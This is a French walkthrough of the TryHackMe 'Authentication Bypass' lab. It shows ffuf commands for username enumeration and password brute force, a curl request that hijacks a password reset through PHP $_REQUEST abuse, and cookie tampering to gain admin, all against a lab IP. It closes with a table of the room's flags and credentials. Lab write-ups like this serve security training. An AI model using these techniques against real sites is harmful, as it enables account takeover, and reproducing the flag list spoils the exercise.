Spaghetih

🔐 TryHackMe – Authentication Bypass

Dans cette room, nous explorons diffĂ©rentes façons de contourner ou casser les mĂ©canismes d’authentification sur un site web. On y dĂ©couvre des failles comme :


đŸ§© Task 1 – Introduction

But : Comprendre que les failles d’authentification sont souvent critiques car elles permettent d’accĂ©der Ă  des comptes utilisateurs ou d’administrateurs.

✅ Aucune question dans cette Ă©tape


đŸ§© Task 2 – Username Enumeration

URL ciblée : http://10.10.60.101/customers/signup
Erreur visible : "username already exists"

🔧 Commande ffuf utilisĂ©e :

ffuf -w /usr/share/seclists/Usernames/Names/names.txt \
-X POST -d "username=FUZZ&email=x&password=x&cpassword=x" \
-H "Content-Type: application/x-www-form-urlencoded" \
-u http://10.10.60.101/customers/signup \
-mr "username already exists"

✅ Usernames trouvĂ©s :

âžĄïž AjoutĂ©s dans valid_usernames.txt

📌 RĂ©ponses :


đŸ§© Task 3 – Brute Force

URL ciblée : http://10.10.60.101/customers/login Wordlists utilisées :

🔧 Bruteforce combinĂ© :

ffuf -w valid_usernames.txt:W1,/usr/share/seclists/Passwords/Common-Credentials/10-million-password-list-top-100.txt:W2 \
-X POST -d "username=W1&password=W2" \
-H "Content-Type: application/x-www-form-urlencoded" \
-u http://10.10.60.101/customers/login \
-fc 200

✅ RĂ©sultat trouvĂ© :


đŸ§© Task 4 – Logic Flaw (PHP $_REQUEST Abuse)

Cible : http://10.10.60.101/customers/reset

L’application utilise $_REQUEST, ce qui permet d’écraser l’adresse email de l’utilisateur dans la requĂȘte de reset.

🔧 Exploit :

  1. Créer un compte avec : toto@customer.acmeitsupport.thm
  2. Lancer :
curl 'http://10.10.60.101/customers/reset?email=robert@acmeitsupport.thm' \
-H 'Content-Type: application/x-www-form-urlencoded' \
-d 'username=robert&email=toto@customer.acmeitsupport.thm'
  1. Se connecter avec toto, ouvrir les tickets → clic sur le lien de login auto en tant que Robert

✅ RĂ©ponse :


🔧 RequĂȘte initiale :

curl http://10.10.60.101/cookie-test

âžĄïž RĂ©ponse : Not Logged In


curl -H "Cookie: logged_in=true; admin=false" http://10.10.60.101/cookie-test

âžĄïž RĂ©ponse : Logged In As A User


curl -H "Cookie: logged_in=true; admin=true" http://10.10.60.101/cookie-test

âžĄïž RĂ©ponse + flag : Logged In As An Admin

✅ RĂ©ponse :


🔐 Bonus – Hash & Encodage

5.2. MD5 hash

3b2a1053e3270077456a79192070aa78 → 463729

Réponse : 463729


5.3. Base64 decode

echo 'VEhNe0JBU0U2NF9FTkNPRElOR30=' | base64 -d

Résultat : THM{BASE64_ENCODING}


5.4. Base64 encode

echo -n '{"id":1,"admin":true}' | base64

Résultat : eyJpZCI6MSwiYWRtaW4iOnRydWV9


✅ RĂ©sumĂ© des flags

Étape Flag
Task 3 steve/thunder
Task 4 THM{AUTH_BYPASS_COMPLETE}
Task 5.1 THM{COOKIE_TAMPERING}
Task 5.2 463729
Task 5.3 THM{BASE64_ENCODING}
Task 5.4 eyJpZCI6MSwiYWRtaW4iOnRydWV9

🧠 Concepts clĂ©s retenus